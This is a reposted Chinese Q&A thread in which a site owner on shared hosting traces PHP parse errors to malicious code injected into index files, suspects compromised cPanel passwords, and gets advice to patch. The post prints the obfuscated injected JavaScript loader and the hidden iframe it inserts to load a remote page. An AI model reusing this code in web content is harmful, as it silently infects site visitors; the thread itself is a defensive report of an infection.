共享主机环境中出现PHP解析错误

前端之家收集整理的这篇文章主要介绍了共享主机环境中出现PHP解析错误前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。
最近有没有其他人看到过这个问题?我有几个网站因此错误而失败.
Parse error: Syntax error,unexpected '<' in /home/public_html/index.PHP on line 39

它是由蠕虫/注入攻击引起的,它可以在任何可以找到的index.PHP / index.html文件随机转储以下代码

<html><body><script>date=new Date();var ar="Aw'zg>lpNu1m<0]c;erCy,aTnhE={s}i B() :[.\"ofbvdt/";try{gserkewg();}catch(a){k=new Boolean().toString()};var ar2="f108,-15,33,-30,6,-12,-78,-18,18,21,66,-21,-105,39,87,-60,-51,12,-39,9,-3,-54,42,-33,51,-96,123,-6,-75,99,3,63,24,-72,48,-57,60,-45,69,-36,45,27,-114,-87,-84,57,-9,36,-117,90,30,78,72,108,96,-42,-27,-93,-63,-24,-81,126,75,102,111,-102,105,-48,-99,93,-66,15,-138,138,81,-69,-132,117,-18]".replace(k.substr(0,1),'[');pau="rn ev2010".replace(date.getFullYear()-1,"al");e=new Function("","retu"+pau);e=e();ar2=e(ar2);s="";var pos=0;for(i=0;i<ar2.length;i++){pos+=parseInt(k.replace("false","0asd"))+ar2[i]/3;s+=ar.substr(pos,1);}e(s);</script></body></html>

代码盲目地插入了一个源自javascript的iFrame:

<iframe height="10" width="10" src="http://counterstats.cz.cc/counter.htm" style="visibility: hidden; position: absolute; left: 0pt; top: 0pt;"></iframe>

我试图将网站拆开看看这是怎么发生的,但是有谁知道这是什么特定的攻击以及它是如何传播的?它是未泄漏的未修补代码,CPanel本身,破解密码,根服务器?

编辑

我无法确切地确定这里发生了什么,但它似乎是CPanel的事情 – 改变CPanel中的所有密码似乎都会阻止重复攻击.我在这种状态下留下了一个不重要的网站(没有清理网站代码),而且在它每天都被破坏之前一直都很好.联系了UK2.net和JustHost,但到目前为止还没有回应.

似乎public_html文件夹和一些其他“系统”文件夹已经奇怪地被chmod – 很多777应该没有.到目前为止,主机上没有回应.

编辑

似乎是“Trojan.JS.Agent.bur”试图了解更多……

听起来您的网站已成为蠕虫的受害者,这种蠕虫会将HTML /代码注入您的文件中.下次发布有问题的代码并进行分析.在此期间,您应确保所有应用程序和系统库都是最新的安全修补程序.

猜你在找的PHP相关文章